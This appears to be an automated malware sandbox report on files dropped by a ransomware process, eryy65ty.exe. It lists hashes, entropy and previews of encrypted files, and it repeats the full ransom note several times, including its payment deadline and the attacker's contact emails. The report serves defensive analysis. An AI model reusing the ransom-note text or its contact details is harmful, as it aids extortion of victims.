                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1284
                                                                                                                                                                Entropy (8bit):7.850388571203478
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:yDxHyYhLqFxlz1+gnCjk9fmd52KtfjsZPEWEon7IHtPm7dB:ehdSxloSfm+Ktfjsu87Z7dB
                                                                                                                                                                MD5:AAE7BE6C8CAE2234D9F27D25FE7962B0
                                                                                                                                                                SHA1:3D6A4F163D8B10326536609B9613B68620B6BA74
                                                                                                                                                                SHA-256:C9EA873E0600587DEB4058A761385C8D37E32BE73C954FEC07E6C7F975516381
                                                                                                                                                                SHA-512:437AFEF381D6FED3282C5FC3EAE5F3C6F45E5386A6BA8619151F669036CA4ABB0CFB3A670F06086631739CC96EE729CD32773A363F89906595F80C5E5408358B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:5..H4..M...-.X...1>...../.....7eE..U.....\..He..._w...O0...U.$.<..b0y5.n.#.`.}.\}..O...J+xe..........Y.....N....LZ.;......^I..}.......,..}CvNd&..-[..,.E.9..S.....(..k..R..`...%a.=..nq*......F!.jc.t......I..{.3f..F........._aV..l.....V.D0.....J-...>II\..,{..L....M..z8.n..\....w0...A..6 ........S...4T..]A...)..5.i....B...VL.&H..1.....".eb..,.g.G.._..1..r.I..[.`.).B;.9%3. L.....E........w..g..u....F......2Rr.@.q....D.. .c+.d...e..vX.m.W8.'.P............;...~F...c#..`....}.v.`|.{...K.....u^.3.de;..$.<.j.....).i...ME.G.H.............*.$.....V.....c.iD`.0.W...a.b..._F..K..9v.....^.9Z<Z.@}.R*.`....A/|.$.b>...p.._.&.6.....Rx!.6......=.x....+.0..23.h.w.Z\..G;lPD~..p2.X:.X.R.o..0..y+....&4T..]*..T.D.C.7O.io.6e.T5..A.hO..N.>.2.;Y.mQ..&3.ma..1.;:.|@....& .z..X.2...q.? ..ls.6.c}G.....$.d.a...~{...".].&)c.Y...'tM...-........M#.3y.r../.9!....|.I........l..L.....A..g.8...........6...A.#@7g...<..(........g......5{..j.X.q......>.x>{..`D......sp.Z.4.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1284
                                                                                                                                                                Entropy (8bit):7.850388571203478
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:yDxHyYhLqFxlz1+gnCjk9fmd52KtfjsZPEWEon7IHtPm7dB:ehdSxloSfm+Ktfjsu87Z7dB
                                                                                                                                                                MD5:AAE7BE6C8CAE2234D9F27D25FE7962B0
                                                                                                                                                                SHA1:3D6A4F163D8B10326536609B9613B68620B6BA74
                                                                                                                                                                SHA-256:C9EA873E0600587DEB4058A761385C8D37E32BE73C954FEC07E6C7F975516381
                                                                                                                                                                SHA-512:437AFEF381D6FED3282C5FC3EAE5F3C6F45E5386A6BA8619151F669036CA4ABB0CFB3A670F06086631739CC96EE729CD32773A363F89906595F80C5E5408358B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:5..H4..M...-.X...1>...../.....7eE..U.....\..He..._w...O0...U.$.<..b0y5.n.#.`.}.\}..O...J+xe..........Y.....N....LZ.;......^I..}.......,..}CvNd&..-[..,.E.9..S.....(..k..R..`...%a.=..nq*......F!.jc.t......I..{.3f..F........._aV..l.....V.D0.....J-...>II\..,{..L....M..z8.n..\....w0...A..6 ........S...4T..]A...)..5.i....B...VL.&H..1.....".eb..,.g.G.._..1..r.I..[.`.).B;.9%3. L.....E........w..g..u....F......2Rr.@.q....D.. .c+.d...e..vX.m.W8.'.P............;...~F...c#..`....}.v.`|.{...K.....u^.3.de;..$.<.j.....).i...ME.G.H.............*.$.....V.....c.iD`.0.W...a.b..._F..K..9v.....^.9Z<Z.@}.R*.`....A/|.$.b>...p.._.&.6.....Rx!.6......=.x....+.0..23.h.w.Z\..G;lPD~..p2.X:.X.R.o..0..y+....&4T..]*..T.D.C.7O.io.6e.T5..A.hO..N.>.2.;Y.mQ..&3.ma..1.;:.|@....& .z..X.2...q.? ..ls.6.c}G.....$.d.a...~{...".].&)c.Y...'tM...-........M#.3y.r../.9!....|.I........l..L.....A..g.8...........6...A.#@7g...<..(........g......5{..j.X.q......>.x>{..`D......sp.Z.4.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2377
                                                                                                                                                                Entropy (8bit):7.922193634760102
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:8HvSPKOZy/2Ps5uOTFqj4rNnV+t2cggyQkv5JqERXsxPGx8EV:8HaA/MOhtNV7cgtdxsxFEV
                                                                                                                                                                MD5:E149B5D469D74241DF8D5B447326259B
                                                                                                                                                                SHA1:CD7981789A9A1D3687C53DA0E25F2EDE980A5D95
                                                                                                                                                                SHA-256:ACE3BDDDAF4E2DA83076EB6A1C82F6636E2A751D9AF0DE2CDC0F767C74819D9E
                                                                                                                                                                SHA-512:2ACE71460F85291E5CE512A8FA57B00023D7E0130AAC9C4586AA2E7402377B7A826E020CBB3B2FBBCA40218F2B69492E98308702C2302899F6D5733D0D4C7FB3
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....!..)....L..4K.FEw8QFN..L.3G.U9t.....`. ....k.A(...).&..g....0Q.Oz.....Eb.~.M..c0h.a...pk.d..*\.$:..5...8..H.{|.. G..(...B..x.a.i.Y..b.DJ|..<.ov..^.<U.6..&....S.......*.....9W.S..8.L_e%..O..}.......Z..F...Z8I..bp.......E5.Y..0....#.[&%]...~.8t..U.)O.s....GG/D..9..v!.....3.U.!.9.......1.!1P>..\f...bos..g0].;.......P .....4.WD_...Nl.r!.Q..^5......./`'.E....S.r.#.p...f.{...,...i......+R.vU.Suq+G...o.lV<...x.'.W6.H5{D^.....n.i.K{.......x...9..[....3.X....Z;.M..Sm.......!..&Pl..jKU..t.?5...).G,I.IJ...>w.O.......... .|p..K.o1....w[j..st}^-..Kn.}...Y.e....7.....T@.bT...!&...6.A.....NQc{|....U_r...xk.$.Yy.....N...t..Zi.>.e"V).}."..$8...g..9E.t[+.8t...%b...&...N.W..E+......>.....-7n....xyH.....Fa..o...%........h./:6};.0..%Yi}.&E.......p.bM..c.`.....6nj...|"I..Te,.;....rU*..q..hA... {.m.=..>`..\..._u....kd... .j...N.S.......\..;..u..(.K.h....m..........h...Q.....%.ta.7..y.l... .U.Mku.......)...:.0M%...*.mG..#u......m.`....'%...Y.P..o..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2377
                                                                                                                                                                Entropy (8bit):7.922193634760102
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:8HvSPKOZy/2Ps5uOTFqj4rNnV+t2cggyQkv5JqERXsxPGx8EV:8HaA/MOhtNV7cgtdxsxFEV
                                                                                                                                                                MD5:E149B5D469D74241DF8D5B447326259B
                                                                                                                                                                SHA1:CD7981789A9A1D3687C53DA0E25F2EDE980A5D95
                                                                                                                                                                SHA-256:ACE3BDDDAF4E2DA83076EB6A1C82F6636E2A751D9AF0DE2CDC0F767C74819D9E
                                                                                                                                                                SHA-512:2ACE71460F85291E5CE512A8FA57B00023D7E0130AAC9C4586AA2E7402377B7A826E020CBB3B2FBBCA40218F2B69492E98308702C2302899F6D5733D0D4C7FB3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.....!..)....L..4K.FEw8QFN..L.3G.U9t.....`. ....k.A(...).&..g....0Q.Oz.....Eb.~.M..c0h.a...pk.d..*\.$:..5...8..H.{|.. G..(...B..x.a.i.Y..b.DJ|..<.ov..^.<U.6..&....S.......*.....9W.S..8.L_e%..O..}.......Z..F...Z8I..bp.......E5.Y..0....#.[&%]...~.8t..U.)O.s....GG/D..9..v!.....3.U.!.9.......1.!1P>..\f...bos..g0].;.......P .....4.WD_...Nl.r!.Q..^5......./`'.E....S.r.#.p...f.{...,...i......+R.vU.Suq+G...o.lV<...x.'.W6.H5{D^.....n.i.K{.......x...9..[....3.X....Z;.M..Sm.......!..&Pl..jKU..t.?5...).G,I.IJ...>w.O.......... .|p..K.o1....w[j..st}^-..Kn.}...Y.e....7.....T@.bT...!&...6.A.....NQc{|....U_r...xk.$.Yy.....N...t..Zi.>.e"V).}."..$8...g..9E.t[+.8t...%b...&...N.W..E+......>.....-7n....xyH.....Fa..o...%........h./:6};.0..%Yi}.&E.......p.bM..c.`.....6nj...|"I..Te,.;....rU*..q..hA... {.m.=..>`..\..._u....kd... .j...N.S.......\..;..u..(.K.h....m..........h...Q.....%.ta.7..y.l... .U.Mku.......)...:.0M%...*.mG..#u......m.`....'%...Y.P..o..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2334
                                                                                                                                                                Entropy (8bit):7.913180811747456
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:M+TJbXKYEsy5nJ3WMwQsQT0c2l+KtU+LDyZ:M+NbDEs6ZLR2BUKtpLDG
                                                                                                                                                                MD5:ADADFD8B567E0C072F0A6FF604CF3CE5
                                                                                                                                                                SHA1:E4893E0DA1EA7828D17801A98449BB1D00183918
                                                                                                                                                                SHA-256:B097716C7B5E7B7CC09A3A81A4489178373A785F1576B48BB7403C05943C50F1
                                                                                                                                                                SHA-512:03B84D507AF31BB2D3A306968F4119DFE1D2762574839FEBBAE7F88807479357DC640C4D963883A73C322B63ECCA8C3BB541D67913B025E5E3C9E4CE781F5265
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:6.l..N....o..6..7%%c..ro...|y.@.w|.{f.z^.&...k.44l+eSt.,Q......^..-6...S.v.M.....NI...^.rCA\.|'....}..1..<;.v..$.......<....?f.wA...hS{8... X..x.u...._.cw.D+...".[..[...0akC...w..k...}.O..x......r'.0M,)..t..UEC.`..=.u6...y...(..Z.r...|.a8,du..F.R.5.. ....}#.m.u.3j*....p3.X!...o..M\.......?....v...cN...|..h.%.......4.0.&.C..O=P.8.=......R....U.k....F.i.n4..L...........Q.z<4...,.a.]E..0.<'0`\...j....+6.....1. .qx.......J>M.)..w.K..4>p.HE<..j.....x<c...H..|t..NN.B.........jg]|."+....2...eX,Z.}.~.......D>...]..7.)./.../b..#;5M.U<.*SLWW.Fgl...<?._....fjJ....E.B... L..W.GC.u.@.j.q.,...f..rr"A..._.[`.V4....'.n.p_)`...".f0`....4..;D".!..kKt..:.s..y...G....n.\...b.g#.24.x/a.~'..3.....*...b...t.c.s..{Ut.c.O]r../..[......8.@...*...).iK.W.."1.H)<=z...D@x*..?.61....Sc.D.6.hp..3....Rf..0.\Ny.^n.3.......}.|.m$....ca...LE.4.B0.l..d.W..Q...S.Z......\."e0.+e....5..^.....Ai5"..........|..(..M.^.?.W1G..@...z.p.3k..,`E...].NH.....|.Z^+...)?^,.@;}`A@..3x...3.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2334
                                                                                                                                                                Entropy (8bit):7.913180811747456
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:M+TJbXKYEsy5nJ3WMwQsQT0c2l+KtU+LDyZ:M+NbDEs6ZLR2BUKtpLDG
                                                                                                                                                                MD5:ADADFD8B567E0C072F0A6FF604CF3CE5
                                                                                                                                                                SHA1:E4893E0DA1EA7828D17801A98449BB1D00183918
                                                                                                                                                                SHA-256:B097716C7B5E7B7CC09A3A81A4489178373A785F1576B48BB7403C05943C50F1
                                                                                                                                                                SHA-512:03B84D507AF31BB2D3A306968F4119DFE1D2762574839FEBBAE7F88807479357DC640C4D963883A73C322B63ECCA8C3BB541D67913B025E5E3C9E4CE781F5265
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:6.l..N....o..6..7%%c..ro...|y.@.w|.{f.z^.&...k.44l+eSt.,Q......^..-6...S.v.M.....NI...^.rCA\.|'....}..1..<;.v..$.......<....?f.wA...hS{8... X..x.u...._.cw.D+...".[..[...0akC...w..k...}.O..x......r'.0M,)..t..UEC.`..=.u6...y...(..Z.r...|.a8,du..F.R.5.. ....}#.m.u.3j*....p3.X!...o..M\.......?....v...cN...|..h.%.......4.0.&.C..O=P.8.=......R....U.k....F.i.n4..L...........Q.z<4...,.a.]E..0.<'0`\...j....+6.....1. .qx.......J>M.)..w.K..4>p.HE<..j.....x<c...H..|t..NN.B.........jg]|."+....2...eX,Z.}.~.......D>...]..7.)./.../b..#;5M.U<.*SLWW.Fgl...<?._....fjJ....E.B... L..W.GC.u.@.j.q.,...f..rr"A..._.[`.V4....'.n.p_)`...".f0`....4..;D".!..kKt..:.s..y...G....n.\...b.g#.24.x/a.~'..3.....*...b...t.c.s..{Ut.c.O]r../..[......8.@...*...).iK.W.."1.H)<=z...D@x*..?.61....Sc.D.6.hp..3....Rf..0.\Ny.^n.3.......}.|.m$....ca...LE.4.B0.l..d.W..Q...S.Z......\."e0.+e....5..^.....Ai5"..........|..(..M.^.?.W1G..@...z.p.3k..,`E...].NH.....|.Z^+...)?^,.@;}`A@..3x...3.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2352
                                                                                                                                                                Entropy (8bit):7.9193026896821435
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:F7IEdrLaHKw902zlQRoa8mexL4vs/5xNc+VjZ0s+vSr7INsmTGHH:bL9wK2zlSyCkx+CjGs6k7KsmTGn
                                                                                                                                                                MD5:E72060671374B56449527FB27E273937
                                                                                                                                                                SHA1:2A6ABDF777CE1BE21775399F4C0C26D2ED439928
                                                                                                                                                                SHA-256:1A68B7C64B7F2501CB37944F455802ABE230FD17139CFEB5AFD07CFFBB437560
                                                                                                                                                                SHA-512:9ED8B48AD00810BE4E3886E823FDA3E0EC80F779C4F976DBEF5966F57619994263A8AA3A19BD6783FB8E7B2B8549886DA35C6B194050DA84EC4B9BD75B731DA5
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..e..69........N..Q......#...... UR..xA.........u.4.w....lw..O...~!4.$..!.....,..c.....<..G.....#.......Z7u....;..yr.......9.#..!....(..w.)4......:.....i...u..!....k..2.$=...-.....!.k.o..}2x..e..U.....?..b...E.....R..Z.1......~.....hXk.........z..Z....'...........p..Cq'.....-jH..q.^9.k.....h...n).".S.'y~......k..S..S.)l..6 ^>pCC._R]..~.jH...?4.....6.\.DI....]T> ..d.''u0]o.W.6Q..)..K..7..oZ...=5GB.F....;..x..x9..q7.P.s..s..u...w.... ..C...=..` ..].....J.#e.....*.E.mKq..s......E..1R2..A....Tr_f.....W...{?..... @.<9~.-R.i.....J2.-../.k_..M..(...~F.D..[....yy.{P.3{S..V..OGFl..J.5......~..x|...$.Q..'.1.%>.U.PhJ8.9v.).PM/@v.\........('[%W`9.......m.(.........3."$.(O.+ .yy.....DV...M<J..!...<.A.}.U.+.Y.G.O=v8..N.xZ.h.'..2..9OA.y....$.W|...~.,..A...A....%..l..qD....l.M7Nt_}y.bfU...l6jL=..l.<....k...s...9.f....._Gv..4O3.@l.b...GZb....%...r....c.."..O..!.....j.x.&1.R...>z....4.-.l.S...U........-.....R...@..z.Y+..sx......,..?.../
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2352
                                                                                                                                                                Entropy (8bit):7.9193026896821435
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:F7IEdrLaHKw902zlQRoa8mexL4vs/5xNc+VjZ0s+vSr7INsmTGHH:bL9wK2zlSyCkx+CjGs6k7KsmTGn
                                                                                                                                                                MD5:E72060671374B56449527FB27E273937
                                                                                                                                                                SHA1:2A6ABDF777CE1BE21775399F4C0C26D2ED439928
                                                                                                                                                                SHA-256:1A68B7C64B7F2501CB37944F455802ABE230FD17139CFEB5AFD07CFFBB437560
                                                                                                                                                                SHA-512:9ED8B48AD00810BE4E3886E823FDA3E0EC80F779C4F976DBEF5966F57619994263A8AA3A19BD6783FB8E7B2B8549886DA35C6B194050DA84EC4B9BD75B731DA5
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..e..69........N..Q......#...... UR..xA.........u.4.w....lw..O...~!4.$..!.....,..c.....<..G.....#.......Z7u....;..yr.......9.#..!....(..w.)4......:.....i...u..!....k..2.$=...-.....!.k.o..}2x..e..U.....?..b...E.....R..Z.1......~.....hXk.........z..Z....'...........p..Cq'.....-jH..q.^9.k.....h...n).".S.'y~......k..S..S.)l..6 ^>pCC._R]..~.jH...?4.....6.\.DI....]T> ..d.''u0]o.W.6Q..)..K..7..oZ...=5GB.F....;..x..x9..q7.P.s..s..u...w.... ..C...=..` ..].....J.#e.....*.E.mKq..s......E..1R2..A....Tr_f.....W...{?..... @.<9~.-R.i.....J2.-../.k_..M..(...~F.D..[....yy.{P.3{S..V..OGFl..J.5......~..x|...$.Q..'.1.%>.U.PhJ8.9v.).PM/@v.\........('[%W`9.......m.(.........3."$.(O.+ .yy.....DV...M<J..!...<.A.}.U.+.Y.G.O=v8..N.xZ.h.'..2..9OA.y....$.W|...~.,..A...A....%..l..qD....l.M7Nt_}y.bfU...l6jL=..l.<....k...s...9.f....._Gv..4O3.@l.b...GZb....%...r....c.."..O..!.....j.x.&1.R...>z....4.-.l.S...U........-.....R...@..z.Y+..sx......,..?.../
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1290
                                                                                                                                                                Entropy (8bit):7.848891331063088
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:FXxVzfNXSCOzBpYwGsAC9rRFbfzgmZtVx7E/36qtuIAyCxBYFb9htA+0nrmpog1i:FhdpmBpYvsA6RF3gkV+t7AhBYFb9LA2m
                                                                                                                                                                MD5:D9398ADC9FC43940FAF88CE6A872D54C
                                                                                                                                                                SHA1:58DE39C630E55153568AB651F5C9E61D0DE7C225
                                                                                                                                                                SHA-256:A6FECC0F152809BA51D1E84D5D4C3B6A54D1E54E1932C75E26045AA1D9E66E7D
                                                                                                                                                                SHA-512:13B61215F7C9B6A76CC44CC443AF2C975F92C39B65965E075BC86CA8CA961DE7AE681F48B4E884DE2C78F8BB0B76A1E598DB5CFD9C9BCDFC45B263478E36B28D
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:K\..m..j.!...(.(l...T *..>uO.....R...A..X..@...."..+..p.K.q..S..W.{..C..w.a......7..._'!..O..S%.....1_..n..e..$4.D........./.5....{&.}...HR.<.+....R..`Hx.{H.>.5...g.U6I...W ...o.S......@..~..4....@...`^-...V..w....!%..*w8.6}...".>...Y.... _....ka....mW*v.i.R....=.d..e..5....7...N...@l...%.E....Yh..s.....=0....gY....!Hf....o.,.-.,.%......b..X.&!..|....F.!.^R..i.... ..v]A..\[d...9..1.j[Cg..lN.......B.?..)...0b.......1..l.....dY...K...Gv....\..U]."...|........,...[>2..)....}..CO.bl.dz.v.P.":....o....PE....V.rN...).F"3}v.2......!N2.)d.1J)....UW..fM]B....$N..JY....I*..Y.&E1.#..4n...a..D..KN_...D..S.........*j..7).Y.oa..r.H......7...<W.b5.[A......E]b.6.....v..>..}o....=+....j..Q3..{..E...YnT..c...E...w<...n...v...e.$...$]]1.BSZ.>.....Qb-.Jk.....q.....M*R....-D]AtB..x..&......<.(..VO.._'Q..~..........d.<D3.A....6..k...'......u'vb.j),.3... ...........J...K.+...E:U,._.E<Km.."e.L..`.......P.M..M..p.+a../.pmT..l...1..|d"m.V..T._o9..|^...Eg.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1290
                                                                                                                                                                Entropy (8bit):7.848891331063088
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:FXxVzfNXSCOzBpYwGsAC9rRFbfzgmZtVx7E/36qtuIAyCxBYFb9htA+0nrmpog1i:FhdpmBpYvsA6RF3gkV+t7AhBYFb9LA2m
                                                                                                                                                                MD5:D9398ADC9FC43940FAF88CE6A872D54C
                                                                                                                                                                SHA1:58DE39C630E55153568AB651F5C9E61D0DE7C225
                                                                                                                                                                SHA-256:A6FECC0F152809BA51D1E84D5D4C3B6A54D1E54E1932C75E26045AA1D9E66E7D
                                                                                                                                                                SHA-512:13B61215F7C9B6A76CC44CC443AF2C975F92C39B65965E075BC86CA8CA961DE7AE681F48B4E884DE2C78F8BB0B76A1E598DB5CFD9C9BCDFC45B263478E36B28D
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:K\..m..j.!...(.(l...T *..>uO.....R...A..X..@...."..+..p.K.q..S..W.{..C..w.a......7..._'!..O..S%.....1_..n..e..$4.D........./.5....{&.}...HR.<.+....R..`Hx.{H.>.5...g.U6I...W ...o.S......@..~..4....@...`^-...V..w....!%..*w8.6}...".>...Y.... _....ka....mW*v.i.R....=.d..e..5....7...N...@l...%.E....Yh..s.....=0....gY....!Hf....o.,.-.,.%......b..X.&!..|....F.!.^R..i.... ..v]A..\[d...9..1.j[Cg..lN.......B.?..)...0b.......1..l.....dY...K...Gv....\..U]."...|........,...[>2..)....}..CO.bl.dz.v.P.":....o....PE....V.rN...).F"3}v.2......!N2.)d.1J)....UW..fM]B....$N..JY....I*..Y.&E1.#..4n...a..D..KN_...D..S.........*j..7).Y.oa..r.H......7...<W.b5.[A......E]b.6.....v..>..}o....=+....j..Q3..{..E...YnT..c...E...w<...n...v...e.$...$]]1.BSZ.>.....Qb-.Jk.....q.....M*R....-D]AtB..x..&......<.(..VO.._'Q..~..........d.<D3.A....6..k...'......u'vb.j),.3... ...........J...K.+...E:U,._.E<Km.."e.L..`.......P.M..M..p.+a../.pmT..l...1..|d"m.V..T._o9..|^...Eg.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2362
                                                                                                                                                                Entropy (8bit):7.930593802656804
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:ciSrAyp5TWYro9+ENVWS1wlvsRrYEu+C0dpxHk+9elGTnk:Fo5Tno9+QVWS1wlvsRrYEP5HvelGI
                                                                                                                                                                MD5:DF0BC2FFF63BC19881AB16B3AB7D75BF
                                                                                                                                                                SHA1:27280270F7387F6251EA63429454FE78677227F0
                                                                                                                                                                SHA-256:C4C4A19C9D61CCFD419CA950890C67038223ADC261EF7A2FCB29826DCA56F4A6
                                                                                                                                                                SHA-512:DF71BD245BEDAB2EE05AD9D29A806D962019FF2435700A8A2FA6A90B71F1B72BD32D723F65E3CD6C8C64075C71FFB7411F8EF61C7154890A062ECB1095E40284
                                                                                                                                                                Malicious:true
